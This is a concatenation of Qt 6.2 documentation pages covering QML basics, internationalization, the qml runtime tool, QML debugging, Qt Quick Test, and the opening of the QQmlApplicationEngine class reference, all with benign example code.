* [Qt Quick Controls - Gallery](https://doc.qt.io/qt-6.2/qtquickcontrols-gallery-example.html)

 Feel free to copy and paste the snippets onto this simple Hellow World application to see how QML works.

 Handling User Input
-------------------

 One of the great advantages of using QML to define a user interface is that it allows the user interface designer to define how the application should react to events with simple JavaScript expressions. In QML, we refer to those events as [signals](qtqml-syntax-signals) and these signals are handled by [signal handlers](qtqml-syntax-signals#qml-signals-and-handlers).

 For example, consider the following example:

 
```
import QtQuick

Rectangle {
    width: 200
    height: 100
    color: "red"

    Text {
        anchors.centerIn: parent
        text: "Hello, World!"
    }

    TapHandler {
        onTapped: parent.color = "blue"
    }
}
```
 This example can be saved as "ClickableHelloWorld.qml" and run with the [qml](qtquick-qml-runtime) runtime tool. Whenever the user clicks anywhere in the window, the rectangle will change from red to blue.

  **Note:** [TapHandler](qml-qtquick-taphandler) also emits the tapped signal for touch events, so this code will also work on a mobile device.

  Keyboard user input can be similarly handled with a simple expression:

 
```
Rectangle {
    width: 200
    height: 100
    color: "red"

    Text {
        anchors.centerIn: parent
        text: "Hello, World!"
    }

    focus: true
    Keys.onPressed: {
        if (event.key == Qt.Key_Return) {
            color = "blue";
            event.accepted = true;
        }
    }
}
```
 By accepting focus, the color can be changed to blue whenever the return key is pressed.

 Property Bindings
-----------------

 Objects and their properties form the basis of a graphical interface defined in a QML document. The QML language allows properties to be bound to each other in various ways, enabling highly dynamic user interfaces.

 In the following example, the geometry of each child [Rectangle](qml-qtquick-rectangle) is bound to that of the parent [Rectangle](qml-qtquick-rectangle). If the geometry of the parent [Rectangle](qml-qtquick-rectangle) were to change, the geometry of each child [Rectangle](qml-qtquick-rectangle) would automatically update due to the property bindings.

 
```
Rectangle {
    width: 400
    height: 200

    Rectangle {
        width: parent.width / 2
        height: parent.height
    }

    Rectangle {
        width: parent.width / 2
        height: parent.height
        x: parent.width / 2
    }
}
```
 Animations
----------

 Properties can also be dynamically updated via animations. The `QtQuick` import provides various animation types which can be used to animate changes to a property's value. In the following example, a property is animated which then gets displayed in a [Text](qml-qtquick-text) area:

 
```
Rectangle {
    color: "lightgray"
    width: 200
    height: 200

    property int animatedValue: 0
    SequentialAnimation on animatedValue {
        loops: Animation.Infinite
        PropertyAnimation { to: 150; duration: 1000 }
        PropertyAnimation { to: 0; duration: 1000 }
    }

    Text {
        anchors.centerIn: parent
        text: parent.animatedValue
    }
}
```
 The value being displayed will vary from 0 to 150 periodically.

 Defining Custom QML Types for Re-use
------------------------------------

 One of the most important concepts in QML is that of type re-use. An application will probably have multiple visual types which are all similar (for example, multiple push buttons), and QML allows these sort of things to be defined as re-usable, custom types, to minimize code duplication and maximize readability.

 For example, imagine that the developer defines a new `MessageLabel` type in the `MessageLabel.qml` file:

 
```
// MessageLabel.qml
import QtQuick

Rectangle {
    height: 50
    property string message: "debug message"
    property var msgType: ["debug", "warning" , "critical"]
    color: "black"

    Column {
        anchors.fill: parent
        padding: 5.0
        spacing: 2
        Text {
            text: msgType.toString().toUpperCase() + ":"
            font.bold: msgType == "critical"
            font.family: "Terminal Regular"
            color: msgType === "warning" || msgType === "critical" ? "red" : "yellow"
            ColorAnimation on color {
                running: msgType == "critical"
                from: "red"
                to: "black"
                duration: 1000
                loops: msgType == "critical" ? Animation.Infinite : 1
            }
        }
        Text {
            text: message
            color: msgType === "warning" || msgType === "critical" ? "red" : "yellow"
            font.family: "Terminal Regular"
        }
    }

}
```
 That type may now be re-used multiple times in the application, as follows:

 

|  |  |
| --- | --- |
| 
```
// application.qml
import QtQuick

Column {
    width: 180
    height: 180
    padding: 1.5
    topPadding: 10.0
    bottomPadding: 10.0
    spacing: 5

    MessageLabel{
        width: parent.width - 2
        msgType: "debug"
    }
    MessageLabel {
        width: parent.width - 2
        message: "This is a warning!"
        msgType: "warning"
    }
    MessageLabel {
        width: parent.width - 2
        message: "A critical warning!"
        msgType: "critical"
    }
}
```
 | 
      
 |

 In this way, modular user interface types are assembled and reused within an application.

 See [QML Object Attributes](qtqml-syntax-objectattributes) for more details on how to develop your own reusable components.

 Where to Go from Here
---------------------

 Now that you have seen QML in action, you are ready to take your next step. The follow page will lead you in your journey with QML.

 * [QML Applications](qmlapplications)
* [Qt Examples and Tutorials](https://doc.qt.io/qt-6.2/qtexamplesandtutorials.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qmlfirststeps.html>

Internationalization and Localization with Qt Quick
===================================================

 Internationalizing Your Application
-----------------------------------

 The following sections describe various aspects of internationalizing your QML source code. If you follow these guides for all the user interface components in your application, it becomes possible to localize every aspect of your application for different languages and local cultural conventions such as the way dates and numbers are formatted.

 ### 1. Use qsTr() for all Literal User Interface Strings

 Strings in QML can be marked for translation using the qsTr(), qsTranslate(), qsTrId(), [QT\_TR\_NOOP](qtglobal#QT_TR_NOOP)(), [QT\_TRANSLATE\_NOOP](qtglobal#QT_TRANSLATE_NOOP)(), and [QT\_TRID\_NOOP](qtglobal#QT_TRID_NOOP)() functions. The most common way of marking strings is with the qsTr() function. For example:

 
```
Text {
    id: txt1;
    text: qsTr("Back");
}
```
 This code makes "Back" a key entry in the translation files. At runtime, the translation system looks up the keyword "Back" and then gets the corresponding translation value for the current system locale. The result is returned to the `text` property and the user interface will show the appropriate translation of "Back" for the current locale.

 ### 2. Add Context for the Translator

 User interface strings are often short so you need to help the person translating the text understand the context of the text. You can add context information in the source code as extra descriptive text before the string to be translated. These extra descriptions are included in the .ts translation files delivered to the translator.

  **Note:** The .ts files are XML files with the source texts and a place for the translated text. The updated .ts files are converted into binary translation files and included as part of the final application.

  In the following code snippet, the text on the `//:` line is the main comment for the translator.

 The text on the `//~` line is optional extra information. The first word of the text is used as an additional identifier in the XML element in the .ts file so make sure the first word is not part of the sentence. For example, the comment "Context Not related to that" is converted to "<extra-Context>Not related to that" in the .ts file.

 
```
Text {
    id: txt1;
    // This user interface string is only used here
    //: The back of the object, not the front
    //~ Context Not related to back-stepping
    text: qsTr("Back");
}
```
 ### 3. Disambiguate Identical Texts

 The translation system consolidates the user interface text strings into unique items. This consolidation saves the person doing the translation work having to translate the same text multiple times. However, in some cases, the text is identical but has a different meaning. For example, in English, "back" means take a step backward and also means the part of an object opposite to the front. You need to tell the translation system about these two separate meanings so the translator can create two separate translations.

 Differentiate between identical texts by adding some id text as the second parameter of the qsTr() function.

 In the following code snippet, the `not front` text is an id to differentiate this "Back" text from the backstepping "Back" text:

 
```
Text {
    id: txt1;
    // This user interface string is used only here
    //: The back of the object, not the front
    //~ Context Not related to back-stepping
    text: qsTr("Back", "not front");
}
```
 ### 4. Use `%x` to Insert Parameters into a String

 Different languages put words together in different orders so it is not a good idea to create sentences by concatenating words and data. Instead, use `%` to insert parameters into strings. For example, the following snippet has a string with two number parameters `%1` and `%2`. These parameters are inserted with the `.arg()` functions.

 
```
Text {
    text: qsTr("File %1 of %2").arg(counter).arg(total)
}
```
 %1 refers to the first parameter and `%2` refers to the second parameter so this code produces output like: "File 2 of 3".

 ### 5. Use %Lx so Numbers are Localized

 If you include the `%L` modifier when you specify a parameter, the number is localized according to the current regional settings. For example, in the following code snippet, `%L1` means to format the first parameters according to the number formatting conventions of the currently selected locale (geographical region):

 
```
Text {
    text: qsTr("%L1").arg(total)
}
```
 Then, with the above code, if `total` is the number "4321.56" (four thousand three hundred and twenty one point fifty six); with English regional settings, (locale) the output is "4,321.56"; with German regional settings, the output is "4.321,56".

 ### 6. Internationalize Dates, Times and Currencies

 There are no special in-string modifiers for formatting dates and times. Instead, you need to query the current locale (geographical region) and use the methods of [Date](qml-qtqml-date) to format the string.

 `Qt.locale()` returns a [Locale](qml-qtqml-locale) object which contains all kinds of information about the locale. In particular, the [Locale.name](qml-qtqml-locale#name-prop) property contains the language and country information for the current locale. You can use the value as is, or you can parse it to determine the appropriate content for the current locale.

 The following snippet gets the current date and time with Date(), then converts that to a string for the current locale. Then it inserts the date string into the %1 parameter for the appropriate translation.

 
```
Text {
    text: qsTr("Date %1").arg(Date().toLocaleString(Qt.locale()))
}
```
 To make sure currency numbers are localized, use the [Number](qml-qtqml-number) type. This type has similar functions as the Date type for converting numbers into localized currency strings.

 ### 7. Use QT\_TR\_NOOP() for Translatable Data Text Strings

 If the user changes the system language without a reboot, depending on the system, the strings in arrays and list models and other data structures might not be refreshed automatically. To force the texts to be refreshed when they are displayed in the user interface, you need to declare the strings with the [QT\_TR\_NOOP](qtglobal#QT_TR_NOOP)() macro. Then, when you populate the objects for display, you need to explicitly retrieve the translation for each text. For example:

 
```
ListModel {
    id: myListModel;
    ListElement {
        //: Capital city of Finland
        name: QT_TR_NOOP("Helsinki");
        }
    }

...

Text {
    text: qsTr(myListModel.get(0).name); // get the translation of the name property in element 0
    }
```
 ### 8. Use Locale to Extend Localization Features

 If you want different graphics or audio for different geographical regions, you can use Qt.locale() to get the current locale. Then you choose appropriate graphics or audio for that locale.

 The following code snippet shows how you could select an appropriate icon that represents the language of the current locale.

 
```
Component.onCompleted: {
    switch (Qt.locale().name.substring(0,2)) {
        case "en":   // show the English-language icon
            languageIcon = "../images/language-icon_en.png";
            break;
        case "fi":   // show the Finnish language icon
            languageIcon = "../images/language-icon_fi.png";
            break;
        default:     // show a default language icon
            languageIcon = "../images/language-icon_default.png";
    }
}
```
 ### 9. Prepare for Dynamic Language Changes

 You can change the language that Qt translation functions use by adding and removing translators with [QCoreApplication::installTranslator](qcoreapplication#installTranslator)() and [QCoreApplication::removeTranslator](qcoreapplication#removeTranslator)(). Afterwards you can call [QQmlEngine::retranslate](qqmlengine#retranslate)() to trigger a refresh of all bindings that use translations. As a result, your user interface will switch, dynamically, to the newly selected language.

 Alternatively, you can also forward a [QEvent::LanguageChange](qevent#Type-enum) event to your application's [QQmlEngine](qqmlengine) instance or connect your own signal to [QQmlEngine::retranslate](qqmlengine#retranslate)().

 Localizing Your Application
---------------------------

 Qt Quick applications use the same underlying localization system as Qt C++ applications (lupdate, lrelease and .ts files). You use the same tools as described in the [Qt Linguist Manual](https://doc.qt.io/qt-6.2/linguist-manager.html). You can even have user interface strings in C++ and QML source in the same application. The system will create a single combined translation file and the strings are accessible from QML and C++.

 ### Use a Conditional to Hide QML Source From the Compiler

  **Note:** The following section only applies to `qmake` projects. With `CMake`'s target based API, the QML sources are passed `qt_add_qml_module`'s QML\_FILES property. `qt_add_lupdate` will then collect them from the target.

  The `lupdate` tool extracts user interface strings from your application. lupdate reads your application's .pro file to identify which source files contain texts to be translated. This means your source files must be listed in the `SOURCES` or `HEADERS` entry in the .pro file. If your files are not listed the texts in them will not be found.

 However, the SOURCES variable is intended for C++ source files. If you list QML or JavaScript source files there, the compiler tries to build them as though they are C++ files. As a workaround, you can use an `lupdate_only{...}` conditional statement so the `lupdate` tool sees the .qml files but the C++ compiler ignores them.

 For example, the following .pro file snippet specifies two .qml files in the application.

 
```
lupdate_only{
SOURCES = main.qml \
          MainPage.qml
}
```
 You can also specify the .qml source files with a wildcard match. The search is not recursive so you need to specify each directory where there are user interface strings in the source code:

 
```
lupdate_only{
SOURCES = *.qml \
          *.js \
          content/*.qml \
          content/*.js
}

```
 See the [Qt Linguist Manual](https://doc.qt.io/qt-6.2/qtlinguist-index.html) for more details about Qt localization.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-internationalization.html>

Prototyping with the QML Runtime Tool
=====================================

 Qt includes the `qml` executable, a utility that loads and displays QML documents.

 The `qml` utility is meant mainly for testing your QML applications and components. To launch a QML application in a production environment, often you need to develop a custom C++ application, or bundle the QML file in a module. See [Deploying QML applications](https://doc.qt.io/qt-6.2/qtquick-deployment.html) for more information. When given a bare [Item](qml-qtquick-item) as root element, `qml` will automatically create a window to show the scene. Notably, [QQmlComponent::create](qqmlcomponent#create)() will not do that. Therefore, when moving from a prototype developed with `qml` to a C++ application, you need to either make sure the root element is a [Window](https://doc.qt.io/qt-6.2/qt3dextras-module.html#window), or create a [QQuickView](qquickview) in C++ to hold the root [Item](qml-qtquick-item). But in the meantime, you can load and test parts of your prototype separately with the `qml` tool.

 To load a .qml file, provide the file path on the command prompt:

 
```
$ qml myqmlfile.qml
```
 To see the configuration options, run `qml` with the `--help` argument.

 When the root object in the QML file that you are loading is an Item rather than a Window, it needs to be wrapped in a Window to be shown. While this work is pending, the top-level object that is already loaded is represented by a `PartialScene` object. The `qml` tool then loads additional QML files to decide what to do next: one is a configuration file that specifies in what sort of container to wrap the `PartialScene`. The `PartialScene.container` property gives a URL pointing to QML source code for the container component, which normally should declare a [Window](https://doc.qt.io/qt-6.2/qt3dextras-module.html#window) in which to wrap the [Item](qml-qtquick-item) that was loaded first. Thus, the process of wrapping an Item into a Window is programmable; and by default, these two additional QML files are loaded from resources inside the qml executable. You can list the available configurations with the `--list-conf` command:

 
```
$ qml --list-conf
Built-in configurations:
  default
  resizeToItem
```
 The `default` configuration provides default behavior: the root Item will be resized to fill the wrapper Window at startup, and also when the user resizes the window. The alternative `resizeToItem` configuration works the other way around: the Item can programmatically set its own size (for example by creating bindings to its own `width` and `height` properties), and the wrapper Window will be resized to fit (subject to any limits that may be imposed by the window system). You can choose either of these using the `-c` or `--config` option:

 
```
$ qml -c resizeToItem selfResizingItem.qml
```
 Additional configurations can be added by creating configuration directories in [QStandardPaths::AppConfigLocation](qstandardpaths#StandardLocation-enum), each with two QML files inside: a configuration file named `configuration.qml`, and a QML file that declares the Item wrapper, which can have any name.

 Here is an example `configuration.qml` file:

 
```
import QmlRuntime.Config 1.0

Configuration {
    PartialScene {
        itemType: "QQuickItem"
        container: Qt.resolvedUrl("ItemWrapper.qml")
    }
}
```
 And here is the simplest-possible `ItemWrapper.qml` that the `container` property could point to:

 
```
import QtQuick 2.0
import QtQuick.Window 2.0

Window {
    property Item containedObject: null
    onContainedObjectChanged: {
        if (containedObject == undefined || containedObject == null) {
            visible = false;
        } else {
            containedObject.parent = contentItem;
            visible = true;
        }
    }
}
```
 When this has been done, you can use the `qml -c` option giving the complete path to the `configuration.qml` file, which specifies the path to the container object:

 
```
$ qml -c ~/.config/QtProject/Qml\ Runtime/simplest/configuration.qml mycomponent.qml
```
 The `qml` runtime will directly set the `containedObject` property, which is required to have that name; and when it is set, the [Item](qml-qtquick-item) will be reparented to the [Window](https://doc.qt.io/qt-6.2/qt3dextras-module.html#window) and shown. Since this Window is declared in QML, when you write your own wrapper window, you are free to add whatever additional features you would like: to handle resizing in a customized way, or to add capabilities that you may find useful during prototyping.

 In addition to the features that can be declared in the configuration files, the `qml` tool also provides a few more features via command-line options. Use the `--help` option to get an up-to-date list.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-qml-runtime.html>

Debugging QML Applications
==========================

 When you develop an application with QML, there are many ways to debug possible issues that you may face. The sections below describe the debugging tools available and how to use them.

 Console API
-----------

 

| Feature | Description |
| --- | --- |
| Log | Use `console.log`, `console.debug`, `console.info`, `console.warn`, or `console.error` to print debugging information to the console.For example: 
```
function f(a, b) {
  console.log("a is ", a, "b is ", b);
}
```
 The output is generated using the [qCDebug](qloggingcategory#qCDebug-1), [qCWarning](qloggingcategory#qCWarning-1), or [qCCritical](qloggingcategory#qCCritical-1) methods in C++, with a category of `qml` or `js`, depending on the type of file doing the logging. See also [Debugging Techniques](debug). |
| Assert | `console.assert` tests that an expression is true. If not, it writes an optional message to the console and prints the stack trace.For example: 
```
function f() {
  var x = 12
  console.assert(x == 12, "This will pass");
  console.assert(x > 12, "This will fail");
}
```
 |
| Timer | `console.time` and `console.timeEnd` log the time (in milliseconds) that was spent between the calls. Both take a string argument that identifies the measurement.For example: 
```
function f() {
    console.time("wholeFunction");
    console.time("firstPart");
    // first part
    console.timeEnd("firstPart");
    // second part
    console.timeEnd("wholeFunction");
}
```
 |
| Trace | `console.trace` prints the stack trace of the JavaScript execution at the point where it was called. This stack trace information contains the function name, file name, line number, and column number. The stack trace is limited to last 10 stack frames. |
| Count | `console.count` prints the current number of times a particular piece of code has run, along with a message.For example: 
```
function f() {
  console.count("f called");
}
```
 The code sample above prints `f called: 1`, `f called: 2` ... whenever `f()` is run. |
| Profile | `console.profile` turns on the QML and JavaScript profilers. Nested calls are not supported and prints a warning to the console. |
| ProfileEnd | `console.profileEnd` turns off the QML and JavaScript profilers. Calling this function without a previous call to `console.profile` prints a warning to the console. A profiling client needs to be attached before this call to receive and store the profiling data.For example: 
```
function f() {
    console.profile();
    //Call some function that needs to be profiled.
    //Ensure that a client is attached before ending
    //the profiling session.
    console.profileEnd();
}
```
 |
| Exception | `console.exception` prints an error message together with the stack trace of JavaScript execution at the point where it is called. |

 Debugging Module Imports
------------------------

 Set the `QML_IMPORT_TRACE` environment variable to enable debug output from QML's import loading mechanisms.

 For example, for a simple QML file like this:

 
```
import QtQuick

Rectangle { width: 100; height: 100 }
```
 If you set `QML_IMPORT_TRACE=1` before running the [QML Runtime](qtquick-qml-runtime) or your QML C++ application, you will see output similar to:

 
```
QQmlImportDatabase::addImportPath "/qt-sdk/imports"
QQmlImportDatabase::addImportPath "/qt-sdk/bin/QMLViewer.app/Contents/MacOS"
QQmlImportDatabase::addToImport 0x106237370 "." -1.-1 File as ""
QQmlImportDatabase::addToImport 0x106237370 "Qt" 4.7 Library as ""
QQmlImportDatabase::resolveType "Rectangle" = "QDeclarativeRectangle"
```
 QML Debugging Infrastructure
----------------------------

 The [Qt QML](qtqml-index) module provides services for debugging, inspecting, and profiling applications via a TCP port or a local socket.

  **Note:** The `qmltooling` plugins that are required for debugging and profiling QML applications on devices are automatically installed during Qt installation. They must be deployed to the devices for debugging and profiling to work.

  ### Enabling the Infrastructure

 When you compile your application, you must explicitly enable the debugging infrastructure. If you use qmake, you can add the configuration parameters to the project `.pro` file:

 * Qt Quick 1: `CONFIG+=declarative_debug`
* Qt Quick 2: `CONFIG+=qml_debug`

 If you use another build system, you can pass the following defines to the compiler:

 * Qt Quick 1: `QT_DECLARATIVE_DEBUG`
* Qt Quick 2: `QT_QML_DEBUG`

  **Note:** Enabling the debugging infrastructure may compromise the integrity of your application and system, and therefore, you should only enable it in a controlled environment. When the infrastructure is enabled, the application displays the following warning:

  `QML debugging is enabled. Only use this in a safe environment.`

 ### Starting Applications

 To enable debugging -- from the start or to attach a debugger later on -- start the application with the following arguments:

 `-qmljsdebugger=port:<port_from>[,port_to][,host:<ip address>][,block][,file:<local socket>][,services:<comma-separated list of services to enable>]`

 Where:

 * the mandatory `port_from` specifies either the debugging port or the start port of a range of ports when `port_to` is specified
* the optional `ip address` specifies the IP address of the host where the application is running
* the optional `block` prevents the application from running until the debug client connects to the server
* the optional `file` specifies the local socket.
* the optional `services` specifies the services to enable; the default is all that are found. Note that the `v4 debug` service disables the JIT.

 After the application has successfully started, it displays the following message:

 `QML Debugger: Waiting for connection on port <port_number>` or `QML Debugger: Connecting to socket at <file>"`

 ### Connecting to Applications

 When the application is running, an IDE or a tool that implements the binary protocol can connect to the open port.

 Qt provides a `qmlprofiler` command line tool to capture profiling data in a file. To run this tool, enter the following command:

 `qmlprofiler -p <port> -attach <ip address>`

 Debugging with Qt Creator
-------------------------

 Qt Creator uses the debugging infrastructure to debug, inspect, and profile Qt Quick applications on the desktop as well as on remote devices. Qt Creator provides integrated clients for debugging JavaScript, inspecting the object tree, and profiling the activities of a QML engine. For more information, see [Qt Creator: Debugging Qt Quick Projects](https://doc.qt.io/qtcreator/creator-debugging-qml.html).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-debugging.html>

Qt Quick Test
=============

 Introduction
------------

 [Qt Quick Test](https://doc.qt.io/qt-6.2/qttest-qmlmodule.html) is a unit test framework for QML applications. Test cases are written as JavaScript functions within a [TestCase](qml-qttest-testcase) type:

 
```
import QtQuick 2.3
import QtTest 1.0

TestCase {
    name: "MathTests"

    function test_math() {
        compare(2 + 2, 4, "2 + 2 = 4")
    }

    function test_fail() {
        compare(2 + 2, 5, "2 + 2 = 5")
    }
}
```
 Functions whose names start with `test_` are treated as test cases to be executed. See the documentation for the [TestCase](qml-qttest-testcase) and [SignalSpy](qml-qttest-signalspy) types for more information on writing test cases.

  **Note:** There is no binary compatibility guarantee for the Qt Quick Test module. This means that an application that uses Qt Quick Test is only guaranteed to work with the Qt version it was developed against. However, source compatibility is guaranteed.

  Using the Module
----------------

 ### QML API

 The QML types in Qt Quick Test are available through the `QtTest` import. To use the types, add the following import statement to your .qml file:

 
```
import QtTest
```
 ### C++ API

 Using the [C++ API](https://doc.qt.io/qt-6.2/qtquicktest-module.html) requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 #### Building with CMake

 Use the `find_package()` command to locate the needed module components in the Qt6 package:

 
```
find_package(Qt6 COMPONENTS QuickTest REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::QuickTest)
```
 See also the [Build with CMake](cmake-manual) overview.

 #### Building with qmake

 There are two ways to link against the corresponding C++ library. If your test project uses a QML [TestCase](qml-qttest-testcase), you should already have the following line in your project file:

 
```
CONFIG += qmltestcase
```
 This will cause the test to link to the C++ QtQuickTest library.

 If you have a C++-only test project, you can add the following line to your project file:

 
```
QT += qmltest
```
 Running Tests
-------------

 Test cases are launched by a C++ harness that consists of the following code:

 
```
#include <QtQuickTest>
QUICK_TEST_MAIN(example)
```
 Where "example" is the identifier to use to uniquely identify this set of tests. Finally, add `CONFIG += qmltestcase` to the project file:

 
```
TEMPLATE = app
TARGET = tst_example
CONFIG += warn_on qmltestcase
SOURCES += tst_example.cpp
```
 The test harness scans the specified source directory recursively for "tst\_\*.qml" files. If `QUICK_TEST_SOURCE_DIR` is not defined, then the current directory will be scanned when the harness is run. Other \*.qml files may appear for auxillary QML components that are used by the test.

 The `-input` command-line option can be set at runtime to run test cases from a different directory. This may be needed to run tests on a target device where the compiled-in directory name refers to a host. For example:

 
```
tst_example -input /mnt/SDCard/qmltests
```
 It is also possible to run a single file using the `-input` option. For example:

 
```
tst_example -input data/test.qml
```
 
```
tst_example -input <full_path>/test.qml
```
  **Note:** Specifying the full path to the qml test file is for example needed for shadow builds.

  If your test case needs QML imports, then you can add them as `-import` options to the test program command-line.

 If `IMPORTPATH` is specified in your .pro file, each import path added to `IMPORTPATH` will be passed as a command-line argument when the test is run using "make check":

 
```
IMPORTPATH += $$PWD/../imports/my_module1 $$PWD/../imports/my_module2
```
 The `-functions` command-line option will return a list of the current tests functions. It is possible to run a single test function using the name of the test function as an argument. For example:

 
```
tst_example Test_Name::function1
```
 The `-help` command-line option will return all the options available.

 
```
tst_example -help
```
 Executing C++ Before QML Tests
------------------------------

 To execute C++ code before any of the QML tests are run, the [QUICK\_TEST\_MAIN\_WITH\_SETUP](qquicktest#QUICK_TEST_MAIN_WITH_SETUP) macro can be used. This can be useful for setting context properties on the QML engine, amongst other things.

 The macro is identical to `QUICK_TEST_MAIN`, except that it takes an additional `QObject*` argument. The test framework will call slots and invokable functions with the following names:

 

| Name | Purpose | Since |
| --- | --- | --- |
| `void applicationAvailable()` | Called right after the QApplication object was instantiated. Use this function to perform setup that does not require a [QQmlEngine](qqmlengine) instance. | Qt 5.12 |
| `void qmlEngineAvailable(QQmlEngine *)` | Called when the QML engine is available. Any [import paths](qqmlengine#addImportPath), [plugin paths](qqmlengine#addPluginPath), and [extra file selectors](qqmlfileselector#setExtraSelectors) will have been set on the engine by this point.This function is called once for each QML test file, so any arguments are unique to that test. For example, this means that each QML test file will have its own QML engine. This function can be used to [register QML types](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml) and [add import paths](qqmlengine#addImportPath), amongst other things. | Qt 5.11 |
| `void cleanupTestCase()` | Called right after the test execution has finished. Use this function to clean up before everything will start to be destructed. | Qt 5.12 |

 The following example demonstrates how the macro can be used to set context properties on the QML engine:

 
```
// src_qmltest_qquicktest.cpp
#include <QtQuickTest>
#include <QQmlEngine>
#include <QQmlContext>

class Setup : public QObject
{
    Q_OBJECT

public:
    Setup() {}

public slots:
    void qmlEngineAvailable(QQmlEngine *engine)
    {
        engine->rootContext()->setContextProperty("myContextProperty", QVariant(true));
    }
};

QUICK_TEST_MAIN_WITH_SETUP(mytest, Setup)

#include "src_qmltest_qquicktest.moc"
```
 The `.moc` include is based on the file name of the `.cpp` file. For example, in the example above, the `.cpp` file is named `src_qmltest_qquicktest.cpp`. If the file was named `MyTest.cpp`, the include would be:

 
```
#include "MyTest.moc"
```
 Reference
---------

 * [QML Types](https://doc.qt.io/qt-6.2/qttest-qmlmodule.html)
* [C++ API](https://doc.qt.io/qt-6.2/qtquicktest-module.html)

 Licenses
--------

 Qt Quick Tests is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses. Since Qt 5.4, these free software licenses are [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquicktest-index.html>

QQmlApplicationEngine Class
===========================

 QQmlApplicationEngine provides a convenient way to load an application from a single QML file. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QQmlApplicationEngine> |
|  CMake: |  find\_package(Qt6 COMPONENTS Qml REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Qml) |
|  qmake: |  QT += qml |
|  Since: |  Qt 5.1 |
|  Inherits: | [QQmlEngine](qqmlengine) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qqmlapplicationengine-members.html)

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QQmlApplicationEngine](qqmlapplicationengine#QQmlApplicationEngine-2)**(const QString &*filePath*, QObject \**parent* = nullptr) |
|  | **[QQmlApplicationEngine](qqmlapplicationengine#QQmlApplicationEngine-1)**(const QUrl &*url*, QObject \**parent* = nullptr) |
|  | **[QQmlApplicationEngine](qqmlapplicationengine#QQmlApplicationEngine)**(QObject \**parent* = nullptr) |
|  virtual  | **[~QQmlApplicationEngine](qqmlapplicationengine#dtor.QQmlApplicationEngine)**() override |
|  QList<QObject \*>  | **[rootObjects](qqmlapplicationengine#rootObjects)**() const |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[load](qqmlapplicationengine#load-1)**(const QString &*filePath*) |
|  void  | **[load](qqmlapplicationengine#load)**(const QUrl &*url*) |
|  void  | **[loadData](qqmlapplicationengine#loadData)**(const QByteArray &*data*, const QUrl &*url* = QUrl()) |
|  void  | **[setExtraFileSelectors](qqmlapplicationengine#setExtraFileSelectors)**(const QStringList &*extraFileSelectors*) |
|  void  | **[setInitialProperties](qqmlapplicationengine#setInitialProperties)**(const QVariantMap &*initialProperties*) |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[objectCreated](qqmlapplicationengine#objectCreated)**(QObject \**object*, const QUrl &*url*) |

 Detailed Description
--------------------

 This class combines a [QQmlEngine](qqmlengine) and [QQmlComponent](qqmlcomponent) to provide a convenient way to load a single QML file. It also exposes some central application functionality to QML, which a C++/QML hybrid application would normally control from C++.

 It can be used like so:

 
```
#include <QGuiApplication>
#include <QQmlApplicationEngine>

int main(int argc, char *argv[])
{
    QGuiApplication app(argc, argv);
    QQmlApplicationEngine engine("main.qml");
    return app.exec();
}
```
 Unlike [QQuickView](qquickview), QQmlApplicationEngine does not automatically create a root window. If you are using visual items from Qt Quick, you will need to place them inside of a [Window](qml-qtquick-window).

 You can also use [QCoreApplication](qcoreapplication) with QQmlApplicationEngine, if you are not using any QML modules which require a [QGuiApplication](qguiapplication) (such as `QtQuick`).

 List of configuration changes from a default [QQmlEngine](qqmlengine):

 * Connecting Qt.[quit](qqmlengine#quit)() to [QCoreApplication::quit](qcoreapplication#quit)()
* Automatically loads translation files from an i18n directory adjacent to the main QML file.
	+ Translation files must have "qml\_" prefix e.g. qml\_ja\_JP.qm.
* Translations are reloaded when the `QJSEngine::uiLanguage` / `Qt.uiLanguage` property is changed.
* Automatically sets an incubation controller if the scene contains a [QQuickWindow](qquickwindow).
* Automatically sets a `QQmlFileSelector` as the url interceptor, applying file selectors to all QML files and assets.

 The engine behavior can be further tweaked by using the inherited methods from [QQmlEngine](qqmlengine).

 Member Function Documentation
-----------------------------

 ### QQmlApplicationEngine::QQmlApplicationEngine(const [QString](qstring) &*filePath*, [QObject](qobject#QObject) \**parent* = nullptr)

 Create a new QQmlApplicationEngine and loads the QML file at the given *filePath*, which must be a local file path. If a relative path is given then it will be interpreted as relative to the working directory of the application.

 This is provided as a convenience, and is the same as using the empty constructor and calling load afterwards.

 ### QQmlApplicationEngine::QQmlApplicationEngine(const [QUrl](qurl) &*url*, [QObject](qobject#QObject) \**parent* = nullptr)

 Create a new QQmlApplicationEngine and loads the QML file at the given *url*. This is provided as a convenience, and is the same as using the empty constructor and calling load afterwards.

 ### QQmlApplicationEngine::QQmlApplicationEngine([QObject](qobject#QObject) \**parent* = nullptr)

 Create a new QQmlApplicationEngine with the given *parent*. You will have to call [load](qqmlapplicationengine#load)() later in order to load a QML file.

 ### 
`[slot]` void QQmlApplicationEngine::load(const [QString](qstring) &*filePath*)

 Loads the root QML file located at *filePath*. *filePath* must be a path to a local file. If *filePath* is a relative path, it is taken as relative to the application's working directory. The object tree defined by the file is instantiated immediately.

 If an error occurs, error messages are printed with [qWarning](qtglobal#qWarning).

 ### 
